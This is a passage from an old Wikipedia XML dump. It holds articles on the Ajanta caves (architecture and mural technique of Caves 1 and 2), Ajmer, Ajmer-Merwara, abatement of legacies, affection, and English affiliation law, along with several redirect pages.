The expression ''Cave Temples'' used by [[Anglo-Indians]] for vihāras without the shrine is inaccurate. Ajanta was a kind of college monastery. [[Hsuan Tsang]] informs us that [[Dinnaga]], the celebrated Buddhist philosopher and controversialist, author of well-known books on logic, resided there. This, however, remains to be corroborated by further evidence. In their prime the vihāras were intended to afford accommodation for several hundreds, teachers and pupils combined.  It is tragic that none of the caves in the Vākāţaka phase were ever fully completed. This was because the ruling Vākāţaka dynasty suddenly fell out of power leaving the dominion in a likely crisis, which forced all activities to a sudden halt at the time of Ajanta's last years of activities. This idea first pronounced by Walter M. Spink is increasingly gaining acceptance based on the archaeological evidence visible on site.

Most of the subjects have been identified by the leading Ajantologist from Germany, Dieter Schlingloff.

==Cave 1==

It is first approached by the visitor on site, and has no relation to the chronological sequence of the caves. It is the first cave on the eastern end of the horse-shoe shaped scarp. According to Spink, it is one of the latest caves to have begun on site and brought to near-completion in the Vākāţaka phase. Although there is no epigraphic evidence, it has been proposed that the Vākāţaka king Harisena may have been the benefactor of this better-preserved cave. A dominant reason for this is that King Harisena was not involved initially in patronizing Ajanta, but could not have remained aloof for long, as the site was burgeoning with activity under his rule, and the Buddhist laity would have loved to see the Hindu king participating in the pious act of patronage. Besides, most of the themes depicted are royal.

This cave has one of the most elaborate carvings on the facade with relief sculptures on entablature and fridges. There are scenes carved from the life of the Buddha as well as a number of decorative motifs. There was once a two pillared portico visible in the 19th century photographs, which has since been perished. The cave has a front-court with cells fronted by pillared-vestibules on either side. These have high plinth level. The cave has a porch with simple cells on either end. The absence of pillared vestibules on ends suggest that the porch was not excavated in the latest phase of Ajanta when pillared vestibules had became a necessity and norm. Most areas of the porch was once covered with murals of which notably high degree of fragments remain. There are three doorways: a central doorway and two side-doorways. Between the main and the side-doorways, two square windows have been carved that lit the interiors.

Each wall of the hall inside is nearly 40 feet long and 20 feet high. Twelve pillars make a square colonnade inside supporting the ceiling, and creating spacious aisles along the walls. There is a shrine carved on the rear wall, which houses an impressive seated image of the Buddha, his hands being in the ''dharmachakrapravartana mudra.'' There are four cells each on the left, rear, and the right wall. The walls are covered with paintings suggesting a fair state of preservation from decay. The scenes depicted are mostly didactic, devotional, and ornamental. The themes are from the Jataka stories (the stories of the Buddha's former existences as Boddhisattva), life of the Gautam Buddha, and those of his veneration.

[[Image:Cave 01 porch.jpg|thumb|right|300px|Cave 1]]

==Cave 2==

Cave 2 is next to Cave 1. It looks similar to cave 1 in many respects. Like cave 1, it is relatively in a better state of preservation. It is known specially for the paintings preserved on its walls, ceilings, and pillars.

Facade: The cave's facade has a porch visibly different from cave 1. Even the facade does not have carvings as in cave 1. What we see here is an eave supported by robust pillars that are ornamented with designs. The size and general ground plan, however, shares many things in common with cave 1.

Porch: As first suggested by Walter M. Spink, the porch has cells fronted by pillared vestibules (hereinafter CPV in this article) on either ends. This architectural element is not found in the porch of cave 1. That cave has simple cells on porch-ends. The reason is, as evidences indicate, similar porch-end cells once existed not only in cave 2 but most other caves began early in the Vakataka phase and transformed later as CPVs in later years. In fact, all the porch-ends in various caves as wells as on the facade's side-walls were originally blank without even a cell in the earliest, the inaugural plans that were based on the prototype of a typical Hinayana vihara. The need of the cells on the previously &quot;wasted areas&quot; arose as a solution to greater housing requirements in later years. It became a norm subsequently to add porch-end cells in the planning of later Vakataka excavations. Still later, these simple single cells on porch-ends were converted into CPVs or were being planned as such in order to create accommodate more room, symmetry, and beauty.

The paintings on the ceilings and walls of this porch are widely published. They depict the [[Jataka]] tales that are stories of the Buddha's life in former existences as [[Bodhisattva]]. The porch's rear wall has a doorway in the center, which allows entrance to the hall. On either side of the door is a square-shaped window carved to lit the interiors.

Hall: The hall has four colonnade making a square in the center of the hall. They support the ceiling. Each arm or colonnade of the square is parallel to each of the respective wall of the hall making an aisle in between. The colonnades have rock-beams above and below them. The capitals are carved and painted with various decorative motifs that include ornamental, human, animal, vegetative, and semi-divine forms. Monika Zin's research on the decorative and devotional themes of Ajanta paintings should be consulted by readers wanting to learn in detail.

Paintings: Paintings are everywhere except the floor or they were intended as such. At many places they have been damaged by the process of decay or human interference. Therefore, many areas of the painted walls, ceilings, and pillars are fragmentary. The painted narratives of  the Jataka tales are depicted only on the walls, which demanded special attention of the devotee. They are didactic in nature meant to inform the community about the Buddha's teachings and life through successive births. Their placement on the walls required the devotee to walk through the aisles and 'read' the narratives depicted in various episodes. (Alas, to prevent vandalism, the entry in the aisles is restricted by site-authorities). The narrative episodes are depicted one after another although not in a linear order. Their identification has been a core area of research on the subject since the time of the site's rediscovery in 1819 CE. Deiter Schlingloff's identifications have updated our knowledge on the subject.

For long the paintings were erroneously referred to as frescoes. However, we know now that it is best to call them murals because the typically known process and technique of 'fresco' painting is not found in these murals. At Ajanta, the technique used, the medium, materials, and process is unlike the examples found in the art history of other civilizations. In fact, these murals have a certain uniqueness about them that is rarely found elsewhere, even within the history of South Asian art. The process of painting involved several stages. First of all the rock surface was chiseled rough so that it can hold the plaster. The plaster was prepared of clay, hay, dung, lime, etc. Variations are found in ingredients and their proportions from cave to cave, and in various places in the same cave. While the plaster was still wet, the drawings were done, and the colors applied. The wet plaster has the capacity to soak the color so that the color becomes a part of the surface and would not peel off or decay easily. As regards the color, they were the so called 'earth color' or the 'vegetable color.' Various kinds of stones, minerals, and plants were used in combinations to prepare different colors. Sculptures were often covered with stucco to give them a fine finish and lustrous polish. The stucco had the ingredients of lime and powdered sea-shell or conch. The latter afforded peculiar shine and smoothness. In cave upper six, some of it is extant. The smoothness resembles the surface of a glass, which astonishes the visitor today.

The brush for painting was made of animal hairs and twigs of certain plants.

==References==

Burgess, James, and Indraji, Bhagwanlal. ''Inscriptions from the Cave Temples of Western India'', Archaeological Survey of Western India, Memoirs, 10 (Bombay: Government Central Press, 1881).

Burgess, James. ''Buddhist Cave Temples and Their Inscriptions'', Archaeological Survey of Western India, 4 (London: Trubner &amp; Co., 1883; Varanasi: Indological Book House, 1964).

Burgess, James. “Notes on the Bauddha Rock Temples of Ajanta, Their Paintings and Sculptures,” Archaeological Survey of Western India, 9 (Bombay: Government Central Press, 1879).

Burgess, James and Fergusson J. ''Cave Temples of India.'' (London: W.H. Allen &amp; Co., 1880. Delhi: Munshiram Manohar Lal Publishers Pvt Ltd., Delhi, 2005).

Griffiths, J. ''Paintings in the Buddhist Cave Temples of Ajanta,'' 2 vols. (London: 1896 - 1897). 

Cohen, Richard Scott. ''Setting the Three Jewels: The Complex Culture of Buddhism at the Ajanta Caves.''  A Ph. D. dissertation (Asian Languages and Cultures: Buddhist Studies, University of Michigan, 1995).

Cowell, E.B. ''The Jataka,'' I-VI (Cambridge: Cambridge, 1895; reprint, 1907).

Dhavalikar, M.K. ''Late Hinayana Caves of Western India'' (Pune: 1984).

Kramrisch, Stella. ''A Survey of Painting in the Deccan'' (Calcutta and London: The India Society in co-operation with the Dept. of Archaeology, 1937). Reproduced: “Ajanta,” ''Exploring India’s Sacred Art: Selected Writings of Stella Kramrisch,'' ed. Miller, Barbara Stoler (Philadelphia: University of Pennsylvania Press: 1983), pp. 273-307; reprint (New Delhi: Indira Gandhi National Centre for the Arts, 1994), pp. 273-307.

Majumdar, R.C. and A.S. Altekar, eds. ''The Vakataka-Gupta Age.'' New History of Indian People Series, VI (Benares: Motilal Banarasidass, 1946; reprint, Delhi: 1960).

Mirashi, V.V. “Historical Evidence in Dandin’s Dasakumaracharita,” ''Annals of the Bhandarkar Oriental Research Institute'', 24 (1945), 20ff. Reproduced: Studies in Indology, 1 (Nagpur: Vidarbha Samshodhan Mandal, 1960), pp. 164-77.

Mirashi, V.V. ''Inscription of the Vakatakas''. Corpus Inscriptionum Indicarum Series, 5 (Ootacamund: Government Epigraphist for India, 1963).

Mirashi, V.V. ''The Ghatotkacha Cave Inscriptions with a Note on Ghatotkacha Cave Temples by Srinivasachar, P''. (Hyderabad: Archaeological Department, 1952).

Mirashi, V.V. ''Vakataka inscription in Cave XVI at Ajanta''. Hyderabad Archaeological Series, 14 (Calcutta: Baptist mission Press for the Archaeological Department of His Highness the Nizam’s Dominions, 1941).

Mitra, Debala. ''Ajanta'', 8th ed. (Delhi: Archaeological Survey of India, 1980).

Nagaraju, S. ''Buddhist Architecture of Western India'' (Delhi: 1981).

Parimoo, Ratan; et al. ''The Art of Ajanta: New Perspectives'', 2 vols (New Delhi: Books &amp; Books, 1991).

Schligloff, Dieter. ''Guide to the Ajanta Paintings, vol. 1; Narrative Wall Paintings'' (Delhi: Munshiram Manoharlal Publishers Pvt. Ltd., 1999)

Schligloff, Dieter. ''Studies in the Ajanta Paintings: Identifications and Interpretations'' (New Delhi: 1987).

Shastri, Ajay Mitra, ed. ''The Age of the Vakatakas'' (New Delhi: Harman, 1992).

Spink, Walter M. “A Reconstruction of Events related to the development of Vakataka caves,” ''C.S. Sivaramamurti felicitation volume'', ed. M.S. Nagaraja Rao (New Delhi: 1987).

Spink, Walter M. “Ajanta’s Chronology: Cave 1’s Patronage,” ''Chhavi'' 2, ed. Krishna, Anand (Benares: Bharat Kala Bhawan, 1981), pp. 144-57.

Spink, Walter M. “Ajanta’s Chronology: Cave 7’s Twice-born Buddha,” ''Studies in Buddhist Art of South Asia'', ed. Narain, A.K. (New Delhi: 1985), pp. 103-16.

Spink, Walter M. “Ajanta’s Chronology: Politics and Patronage,” ''Kaladarsana'', ed. Williams, Joanna (New Delhi: 1981), pp. 109-26.

Spink, Walter M. “Ajanta’s Chronology: The Crucial Cave,” ''Ars Orientalis'', 10 (1975), pp. 143-169.

Spink, Walter M. “Ajanta’s Chronology: The Problem of Cave 11,” ''Ars Orientalis'', 7 (1968), pp. 155-168.

Spink, Walter M. “Ajanta’s Paintings: A Checklist for their Dating,” ''Dimensions of Indian Art, Pupul Jayakar Felicitation Volume'', ed. Chandra, Lokesh; and Jain, Jyotindra (Delhi: Agam Kala Prakashan, 1987), p. 457.

Spink, Walter M. “Notes on Buddha Images,” ''The Art of Ajanta: New Perspectives'', vol. 2, ed. Parimoo, Ratan, et al (New Delhi: Books &amp; Books, 1991), pp. 213-41.

Spink, Walter M. “The Achievement of Ajanta,” ''The Age of the Vakatakas'', ed. Shastri, Ajaya Mitra (New Delhi: Harman Publishing House, 1992), pp. 177-202.

Spink, Walter M. “The Vakataka’s Flowering and Fall,” ''The Art of Ajanta: New Perspectives'', vol. 2, ed. Parimoo, Ratan, et al (New Delhi: Books &amp; Books, 1991), pp. 71-99.

Spink, Walter M. “The Archaeology of Ajanta,” ''Ars Orientalis'', 21, pp. 67-94.

Weiner, Sheila L. ''Ajanta: It’s Place in Buddhist Art'' (Berkeley and Los Angeles: University of California Press, 1977).

Yazdani, Gulam. ''Ajanta: the Colour and Monochrome Reproductions of the Ajanta Frescoes Based on Photography'', 4 vols. (London: Oxford University Press, 1930 [31?], 1955).

Yazdani, Gulam. ''The Early History of the De''ccan, Parts 7-9 (Oxford: 1960).

Zin, Monika. ''Guide to the Ajanta Paintings, vol. 2; Devotional and Ornamental Paintings'' (Delhi: Munshiram Manoharlal Publishers Pvt. Ltd., 2003).

==External links==
* [http://www.india-picture.net/Ajanta india-picture.net] - Pictures of Ajanta from india-picture.net
* [http://www.rksingh1970.blogspot.com]- A new article on monk Buddhabhadra's Cave 26 Complex, Ajanta in the Vākāţaka period


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      <text xml:space="preserve">'''Ajmer''', or Ajmere, is a city in [[Ajmer District]] in [[India]]'s [[Rajasthan]] [[states and territories of India|state]].  Its population was approximately 500,000 in 2001. The city gives its name to a district, and also to a former province of [[British India]] called [[Ajmer-Merwara]], which, after India's independence, became the state of Ajmer until November 1, 1956, when it was merged into Rajasthan state.

It is situated in 26° 27, N. lat. and 74° 44, E. long., on the lower slopes of Taragarh hill, in the [[Aravalli Range]]. To the north of the city is a large artificial lake called the [[Anasagar]], whence the water supply of the place is derived. 

The city is well laid out with wide streets and handsome houses. Ajmer is at an important railway junction. The city is a trade center and has cotton mills and railroad shops. Manufactures include wool textiles, hosiery, shoes, soap, and pharmaceuticals.

The chief object of interest is the ''[[dargah]]'', or tomb of a famous [[Muslim]] [[sufi]] saint named [[Moinuddin Chishti]]. It is situated at the foot of the Taragarh hill, and consists of several white marble buildings arranged around two courtyards, including a massive gate donated by the [[Nizam]] of [[Hyderabad state|Hyderabad]], a [[mosque]] donated by [[Mughal]] emperor [[Shah Jahan]], the Akbari [[Masjid]], and the domed tomb of the saint. To this place the emperor [[Akbar]], with his empress, performed a yearly pilgrimage on foot from [[Agra]] in accordance with the terms of a [[vow]] he had made when praying for a son. The large pillars erected at intervals of two miles the whole way, to mark the daily halting-place of the imperial pilgrim, are still extant.

The '''Adhai-din-ka-jhonpra''', a [[Jain]] temple constructed in [[1153]] and converted into a mosque by [[Mohammed of Ghori]] after [[1193]], is situated on the lower slope of the Taragarh hill. With the exception of that part used as a mosque, nearly the whole of the ancient temple has fallen into ruins, but the relics are not excelled in beauty of architecture and sculpture by any remains of Hindu art. Forty columns support the roof, but no two are alike, and great fertility of invention is manifested in the execution of the ornaments.

The city's Museum was once the residence of Emperor [[Akbar]], and presently houses a collection of the Mughal and Rajput armour and sculpture.

The summit of Taragarh hill, overhanging Ajmer, is crowned by a fort, the lofty thick battlements of which run along its brow and enclose the table-land. The walls are two miles in circumference, and the fort can only be approached by steep and very roughly paved planes, commanded by the fort and the outworks, and by the hill to the west. On coming into the hands of the [[British Raj]], the fort was dismantled by order of Lord [[William Bentinck]], and was converted into a sanatorium for the troops stationed at the British cantonment town of [[Nasirabad, India|Nasirabad]].

Ajmer is also home to [[Mayo college]], a boarding school founded by the British Raj in 1870 to educate the children of Rajputana's nobles on the lines of an English public school.

Ajmer was founded in the tenth century by Raja Ajay Pal [[Chauhan]], who established the dynasty which continued to rule the country (with many vicissitudes of fortune) while the repeated waves of [[Muslim]] invasion swept over [[India]], until it was conquered by Mohammed of Ghori, founder of the [[Delhi Sultanate]], in [[1193]]. Its internal government, however, was handed over to the Chauhan rulers upon the payment of a heavy tribute to the conquerors. It then remained feudatory to Delhi until [[1365]], when it was captured by the ruler of [[Mewar]]. In [[1509]] the place became a source of contention between the chiefs of Mewar and [[Marwar]], and was ultimately conquered in [[1532]] by the latter prince, who in his turn in [[1559]] had to give way before the emperor Akbar.  It continued in the hands of the Mughals, with occasional revolts, till [[1770]], when it was ceded to the [[Maratha]]s, from which time up to [[1818]] the unhappy district was the scene of a continual struggle, being seized at different times by the Mewar and Marwar rajas, from whom it was as often retaken by the Marathas. In [[1818]] the latter ceded it to the [[United Kingdom|British]] in return for a payment of 50,000 rupees. Since then the country has enjoyed unbroken peace and a stable government.



==References==
*{{1911}}

== Famous Places ==
* [[Mayo College]]
* [[Moinuddin Chishti]] [[Dargah]]

==External links==  	 
*[http://www.indianhorizons.com/best-of-india/ajmer/index.html Ajmer Pilgrimage Travel] 	 
*[http://maps-india.com/pilgrimages/ajmersharif.htm Ajmer Sharif Dargah] 	 
*[http://www.travel-to-rajasthan.com/travel-to-ajmer-rajasthan.html Ajmer Fair Travel] 	 
*[http://www.ioc.u-tokyo.ac.jp/~islamarc/WebPage1/htm_eng/ajmer-eng.htm Ajmer at the Islamic Monuments of India Photographic Database] 	 
*[http://www.investrajasthan.com/maps/ajmer.htm Map of Ajmer District (investrajasthan.com)] 	 
*[http://www.zahuri.org/Ajmerindex.html Sufi sites in Ajmer (Zahuri Sufi web site)]	 

{{Rajasthan}} 	 
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      <text xml:space="preserve">'''Ajmer-Merwara''' (also Ajmere-Merwara) is a former province of [[British India]]. The province consisted of the [[district]]s of [[Ajmer]] and [[Merwara]], which were physically separated by the territory of [[Rajputana]] Agency. Ajmer-Merwara was administered directly by the British Raj, by a commissioner who was subordinate to the [[governor-general]]'s agent for Rajputana. Rajputana was made up of [[princely states]], ruled by local nobles who acknowledged British sovereignty. Ajmer-Merwara remained a province of India from independence in 1947 to 1950, when it became the state of [[Ajmer]]. Ajmer state was merged into Rajputana on [[November 1]], [[1956]].

The area of the province was 2710 square miles. The plateau, on whose centre stands the town of Ajmer, may be considered as the highest point in the plains of [[North India]]; from the circle of hills which hem it in, the country slopes away on every side - towards river valleys on the east, south, west and towards the [[Thar Desert]] region on the north.

The [[Aravalli Range]] is the distinguishing feature of the district. The range of hills which runs between Ajmer and [[Nasirabad]] marks the watershed of the continent of [[India]]. The rain which falls on the southeastern slopes drains into the [[Chambal River|Chambal]], and so into the [[Bay of Bengal]]; that which falls on the northwest side into the [[Luni River]], which discharges itself into the [[Rann of Kutch]].

The province is on the border of what may be called the [[arid zone]]; it is the debatable land between the north-eastern and south-western [[monsoon]]s, and beyond the influence of either. The south-west monsoon sweeps up the [[Narmada River|Narmada]] valley from [[Bombay]] and crossing the tableland at [[Neemuch]] gives copious supplies to [[Malwa]], [[Jhalawar]] and [[Kota]] and the countries which lie in the course of the Chambal River.

The clouds which strike [[Kathiawar]] and [[Kutch]] are deprived of a great deal of their moisture by the hills in those countries, and the greater part of the remainder is deposited on [[Mount Abu]] and the higher slopes of the Aravalli Range, leaving but little for Merwara, where the hills are lower, and still less for Ajmer. It is only when the monsoon is in considerable force that Merwara gets a plentiful supply from it. The north-eastern monsoon sweeps up the valley of the [[Ganges]] from the Bay of Bengal and waters the northern part of Rajasthan, but hardly penetrates farther west than the longitude of Ajmer.

On the varying strength of these two monsoons the rainfall of the district depends. The agriculturist of Ajmer-Merwara could never rely upon two good harvests in succession.

Before Indian independence, the [[Rajput]]s were land-holders, and the [[Jat]]s and [[Gujarati people|Gujaratis]] were cultivators or the tenants.The Rajasthan Land Reforms and Resumption of Jagirs Act, 1952 was the landmarks in the legal history of land reforms in Rajasthan which was followed by Rajasthan Tenancy Act, 1955 that became applicable to the whole of Rajasthan. The overriding effect of this Act provided relief to the existing tenants and the rights accrued to tenants accordingly. Now the Jats are major land holders in the region. The [[Jainism|Jain]]s are traders and money-lenders. The aboriginal tribe of [[Mer]]s are divided between Hindus and followers of [[Islam]]. Trading centers include [[Beawar]] and [[Kekri]].

==References==
*{{1911}}
[[Category:Historical Indian regions]]
[[Category:History of Rajasthan]]</text>
    </revision>
  </page>
  <page>
    <title>American indian</title>
    <id>2647</id>
    <revision>
      <id>23786587</id>
      <timestamp>2005-09-22T22:35:16Z</timestamp>
      <contributor>
        <username>Ish ishwar</username>
        <id>138516</id>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[Native Americans in the United States]]</text>
    </revision>
  </page>
  <page>
    <title>Abandonment of wife and children</title>
    <id>2648</id>
    <revision>
      <id>15901043</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Abandonment]]
</text>
    </revision>
  </page>
  <page>
    <title>Abandonment of domicile</title>
    <id>2649</id>
    <revision>
      <id>15901044</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Abandonment]]
</text>
    </revision>
  </page>
  <page>
    <title>Abandonment of an easement</title>
    <id>2650</id>
    <revision>
      <id>15901045</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Abandonment]]
</text>
    </revision>
  </page>
  <page>
    <title>Abandonment of railways</title>
    <id>2651</id>
    <revision>
      <id>15901046</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Abandonment]]
</text>
    </revision>
  </page>
  <page>
    <title>Abatement of a nuisance</title>
    <id>2652</id>
    <revision>
      <id>15901047</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Abatement]]
</text>
    </revision>
  </page>
  <page>
    <title>Abatement of freehold</title>
    <id>2653</id>
    <revision>
      <id>15901048</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Abatement]]
</text>
    </revision>
  </page>
  <page>
    <title>Abatement of debts and legacies</title>
    <id>2654</id>
    <revision>
      <id>38477941</id>
      <timestamp>2006-02-06T16:34:45Z</timestamp>
      <contributor>
        <username>Cburnett</username>
        <id>140084</id>
      </contributor>
      <comment>Removed semi-colons; removed { for (; linked [[intestate property]]</comment>
      <text xml:space="preserve">{{Template:Wills&amp;Trusts}}

'''Abatement of debts and legacies''' is a [[common law]] doctrine of [[will (law)|wills]] that holds that when the equitable [[assets]] of a deceased person are not sufficient to satisfy fully all the creditors, their debts must abate proportionately, and they must accept a [[dividend]].

In the case of legacies when the funds or assets out of which they are payable are not sufficient to pay them in full, the legacies abate in proportion, unless there is a priority given specially to any particular legacy. Annuities are also subject to the same rule as general legacies. 

The order of abatement usually goes as follows:
#[[Intestate property]] (proprty not disposed of in the will itself) will abate first
#The [[residuary estate]] will abate next
#General devises (gifts of cash) will abate next
#Demonstrative devises (gifts of stock, or orders to sell property and give the proceeds to the beneficiary) will abate next
#Specific divises (gifts of tangible property) will abate last

{{law-stub}}

[[Category:Wills and trusts]]</text>
    </revision>
  </page>
  <page>
    <title>Abatement in litigation</title>
    <id>2655</id>
    <revision>
      <id>15901050</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Abatement]]
</text>
    </revision>
  </page>
  <page>
    <title>Abatement of false lights</title>
    <id>2656</id>
    <revision>
      <id>15901051</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Abatement]]
</text>
    </revision>
  </page>
  <page>
    <title>Abatement in commerce</title>
    <id>2657</id>
    <revision>
      <id>15901052</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Abatement]]
</text>
    </revision>
  </page>
  <page>
    <title>Abatement in heraldry</title>
    <id>2658</id>
    <revision>
      <id>15901053</id>
      <timestamp>2004-04-23T12:52:36Z</timestamp>
      <contributor>
        <username>Pcb21</username>
        <id>7320</id>
      </contributor>
      <comment>typo</comment>
      <text xml:space="preserve">#REDIRECT [[Abatement (heraldry)]]</text>
    </revision>
  </page>
  <page>
    <title>American war of independence</title>
    <id>2659</id>
    <revision>
      <id>15901054</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
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      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[American Revolutionary War]]
</text>
    </revision>
  </page>
  <page>
    <title>Affection</title>
    <id>2661</id>
    <revision>
      <id>39686899</id>
      <timestamp>2006-02-15T04:06:03Z</timestamp>
      <contributor>
        <username>Pfctdayelise</username>
        <id>234641</id>
      </contributor>
      <comment>+ image</comment>
      <text xml:space="preserve">{{cleanup-date|December 2005}}

[[Image:Smooches (baby and child kiss).jpg|thumb|A kiss can express affection.]]
'''Affection''' (from latin ''ad'', and ''facere'', meaning &quot;to do something to&quot;) is an [[emotion]] that derives from the recognition of one's own values in the character of another.

== Popular usage ==
It is popularly used to denote a feeling or type of [[personal relationship]] amounting to more than goodwill or [[friendship]]. By ethical writers the word has been used generally of distinct states of feeling, both lasting and spasmodic; some contrast it with ''[[passion (emotion)|passion]]'' as being free from the distinctively sensual element.  More specifically the word has been restricted to [[emotion]]al states which are in relation to persons.  In the former sense, it is the Greek pathos, and as such it appears in the writings of French philosopher René Descartes, Dutch philosopher Baruch Spinoza and most of the writings of early British ethicists.  On various grounds, however---e.g. that it does not involve anxiety or excitement, that it is comparatively inert and compatible with the entire absence of the sensuous element--At is generally and usefully distinguished from passion.  In this narrower sense the word has played a great part in ethical systems, which have spoken of the social or parental ''affections'' as in some sense a part of moral obligation.  For a consideration of these and similar problems, which depend ultimately on the degree in which the affections are regarded as voluntary, see [[H]]. Sidgwick, ''Methods of [[Ethics]],'' pp. 345-349.

== Psychology ==
In psychology the terms ''affection'' and ''affective'' are of great importance.  As all intellectual phenomena have by experimentalists been reduced to sensation, so all emotion has been and is regarded as reducible to simple mental affection, the element of which all emotional manifestations are ultimately composed.  The nature of this element is a problem which has been provisionally, but not conclusively, solved by many psychologists; the method is necessarily experimental, and all experiments on feeling are peculiarly difficult.  The solutions proposed are two.  In the first, all affection phenomena are primarily divisible into those which are pleasurable and those which are the reverse.  The main objections to this are that it does not explain the infinite variety of phenomena, and that it disregards the distinction which most philosophers admit between higher and lower pleasures.  The second solution is that every sensation has its specific affective quality, though by reason of the poverty of language many of these have no name.  W. Wundt, ''Outlines of [[Psychology]]'' (trans.  C. H. Judd, [[Leipzig]], [[1897]]), maintains that we may group under three main affective directions, each with its negative, all the infinite varieties in question; these are (a) [[pleasure]], or rather pleasantness, and the reverse, (b) tension and relaxation, (c) excitement and depression.  These two views are antithetic and no solution has been discovered. 

Two obvious methods of experiment have been tried:

# The first, introduced by A. Mosso, the [[Italy|Italian]] psychologist, consists in recording the physical phenomena which are observed to accompany modifications of the affective consciousness.  Thus it is found that the action of the [[heart]] is accelerated by pleasant, and retarded by unpleasant, stimuli; again, changes of weight and volume are found to accompany modifications of affection--and so on.  Apart altogether from the facts that this investigation is still in its infancy and that the conditions of experiment are insufficiently understood, its ultimate success is rendered highly problematical by the essential fact that real scientific results can be achieved only by data recorded in connection with a perfectly normal subject; a conscious or interested subject introduces variable factors which are probably incalculable. 

# The second is [[Fechner]]'s method; it consists of recording the changes in feeling-tone produced in a subject by bringing him in contact with a series of conditions, objects or stimuli graduated according to a scientific plan and presented singly in pairs or in groups.  The result is a comparative table of likes and dislikes. 

Mention should also be made of a third method which has hardly yet been tried, namely, that of endeavouring to isolate one of the three ''directions'' by the method of suggestion or even hypnotic trance observations. 

== Books ==
For the subject of emotion in general see modern text-books of psychology, e.g. those of 
*J. Sully
*W. James
*G. T. Fechner
*O. Kulpe; Angelo Mosso, ''La Paura'' (Milan, [[1884]], 1900 Eng. trans.  E. Lough and F. Kiesow, Lond. [[1896]])
*E. B. Titchener, ''Experimental Psychology'' ([[1905]]); art. &quot;[[Psychology]]&quot; and works there quoted.

==See also==
* [[Affectional orientation]]
* [[Affective filter]]
* [[Love]]

==References==
* {{1911}}

[[Category:Ethics]]
[[Category:Phrenology]]
[[de:Zuneigung]]
[[fr:Affection]]
[[id:Afeksi]]
[[it:Affetto]]</text>
    </revision>
  </page>
  <page>
    <title>Affiliation</title>
    <id>2662</id>
    <revision>
      <id>40436864</id>
      <timestamp>2006-02-20T15:15:01Z</timestamp>
      <contributor>
        <username>DabMachine</username>
        <id>922466</id>
      </contributor>
      <minor />
      <comment>disambiguation from [[Bastard]] to [[Bastard (Law of England and Wales)]] - ([[WP:DPL|You can help!]])</comment>
      <text xml:space="preserve">In [[law]], '''affiliation ''' (from [[Latin]] ''ad-filiare'', to adopt as a son) is the procedure by which the [[paternity]] of an [[illegitimacy|illegitimate]] child is determined, and the obligation of contributing to its support enforced. More modernly, it has also become a term to describe a partnership between two or more parties.

== Affiliation procedures in England ==

In [[England]] a number of [[statute]]s on the subject have been passed, the chief being the Bastardy [[Act of Parliament|Act]] of [[1845]], and the Bastardy Laws Amendment Acts of [[1872]] and [[1873]].
The mother of a [[Bastard (Law of England and Wales)|bastard]] may summon the putative father to petty sessions within twelve months of the [[Childbirth|birth]] (or at any later time if he is proved to have contributed to the child's support within twelve months after the birth), and the justices, after hearing evidence on both sides, may, if the mother's evidence be corroborated in some material particular, adjudge the man to be the [[putative father]] of the child, and order him to pay a sum not exceeding five shillings a week for its maintenance, together with a sum for expenses incidental to the birth, or the [[funeral]] expenses, if it has died before the date of order, and the costs of the proceedings.

An order ceases to be valid after the child reaches the age of thirteen, but the justices may in the order direct the payments to be continued until the child is sixteen years of age.

An appeal to quarter sessions is open to the defendant, and a further appeal on questions of law to the [[King's Bench]] by rule ''[[nisi or certiorari]]''. Should the child afterwards become chargeable to the [[parish]], the sum due by the father may be received by the parish officer.

When a bastard child, whose mother has not obtained an order, becomes chargeable to the parish, the guardians may proceed against the putative father for a contribution.

Any woman who is single, a widow, or a married woman living apart from her husband, may make an application for a summons, and it is immaterial where the child is begotten, provided it is born in [[England]].

An application for a summons may be made before the birth of the child, but in this case the statement of the mother must be in the form of a sworn deposition.  The defendant must be over fourteen years of age.  No agreement on the part of the woman to take a sum down in discharge of the liability of the father is a bar to the making of an affiliation order.  In the case of twins it is usual to make separate applications and obtain separate summonses.

The Summary [[Jurisdiction]] Act ([[1879]]) makes due provision for the enforcement of an order of affiliation. In the case of [[soldier]]s an affiliation order cannot be enforced in the usual way, but by the [[Army]] Act ([[1881]]), if an order has been made against a soldier of the regular forces, and a copy of such order be sent to the secretary of state, he may order a portion of the soldier's pay to be retained. There is no such special legislation with regard to [[sailor]]s in the [[Royal Navy]].

== Affiliation procedures in other countries ==

In the [[United Kingdom|British]] colonies, and in the states of the [[United States]] (with the exception of [[California]], [[Idaho]], [[Missouri]], [[Oregon]], [[Texas]] and [[Utah]]), there is some procedure (usually termed filiation) akin to that described above, by means of which a mother can obtain a contribution to the support of her illegitimate child from the putative father.

